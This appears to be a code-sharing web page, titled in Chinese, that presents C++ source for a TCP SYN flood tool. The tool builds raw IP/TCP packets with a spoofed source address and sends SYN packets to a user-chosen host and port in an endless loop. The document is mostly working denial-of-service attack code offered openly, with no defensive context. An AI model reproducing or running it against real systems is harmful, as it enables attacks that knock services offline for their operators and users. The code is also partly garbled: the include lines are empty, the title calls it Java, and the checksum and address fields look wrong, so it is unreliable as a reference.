tcp flood java源码_c++版本的syn flood攻击示例代码

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#pragma pack(1)

struct pseudo_header //needed for checksum calculation

{

unsigned int source_address;

unsigned int dest_address;

unsigned char placeholder;

unsigned char protocol;

unsigned short tcp_length;

struct tcphdr tcp;

};

#pragma pack()

unsigned short csum(unsigned short *ptr, int nbytes)

{

long sum;

unsigned short oddbyte;

short answer;

sum = 0;

while (nbytes > 1) {

sum += *ptr++;

nbytes -= 2;

}

if (nbytes == 1) {

oddbyte = 0;

*((u_char*) &oddbyte) = *(u_char*) ptr;

sum += oddbyte;

}

sum = (sum >> 16) + (sum & 0xffff);

sum = sum + (sum >> 16);

answer = (short) ~sum;

return (answer);

}

void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,

in_addr_t destination, u_int16_t destinationPort)

{

static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };

bzero(sendBuf, sizeof(sendBuf));

struct iphdr* ipHeader = (iphdr*) sendBuf;

struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));

ipHeader->version = 4;

ipHeader->ihl = 5;

ipHeader->tos = 0;

ipHeader->tot_len = htons(sizeof(sendBuf));

ipHeader->id = htons(1);

ipHeader->frag_off = 0;

ipHeader->ttl = 254;

ipHeader->protocol = IPPROTO_TCP;

ipHeader->check = 0;

ipHeader->saddr = source;

ipHeader->daddr = destination;

ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);

//TCP Header

tcph->source = htons(sourcePort);

tcph->dest = htons(destinationPort);

tcph->seq = 0;

tcph->ack_seq = 0;

tcph->doff = 5; //sizeof(tcphdr)/4

tcph->fin = 0;

tcph->syn = 1;

tcph->rst = 0;

tcph->psh = 0;

tcph->ack = 0;

tcph->urg = 0;

tcph->window = htons(512);

tcph->check = 0;

tcph->urg_ptr = 0;

//tcp header checksum

struct pseudo_header pseudoHeader;

pseudoHeader.source_address = source;

pseudoHeader.dest_address = destination;

pseudoHeader.placeholder = 0;

pseudoHeader.protocol = IPPROTO_TCP;

pseudoHeader.tcp_length = htons(sizeof(tcphdr));

memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));

tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));

struct sockaddr_in sin;

sin.sin_family = AF_INET;

sin.sin_port = htons(sourcePort);

sin.sin_addr.s_addr = destination;

ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,

(struct sockaddr *) &sin, sizeof(sin));

if (sentLen == -1) {

perror("sent error");

}

}

int main(int argc,char** argv)

{

char ip[128] = "127.0.0.1";

uint16_t port = 6888;

if (argc == 1) {

printf("Usage:sf ip port\n");

return -1;

}

if (argc > 1) {

sprintf(ip, "%s", argv[1]);

}

if (argc > 2) {

port = atoi(argv[2]);

}

//for setsockopt

int optval = 1;

//create a raw socket

int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);

if (socketfd == -1) {

perror("create socket:");

exit(0);

}

if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) < 0) {

perror("create socket:");

exit(0);

}

in_addr_t source = inet_addr("127.0.0.1");

in_addr_t destination = inet_addr(ip);

u_int16_t sourcePort = 1667;

u_int16_t destinationPort = port;

while(1) {

oneSyn(socketfd, source, sourcePort++, destination, destinationPort);

sourcePort %= 65535;

sleep(5);

}

return 0;

}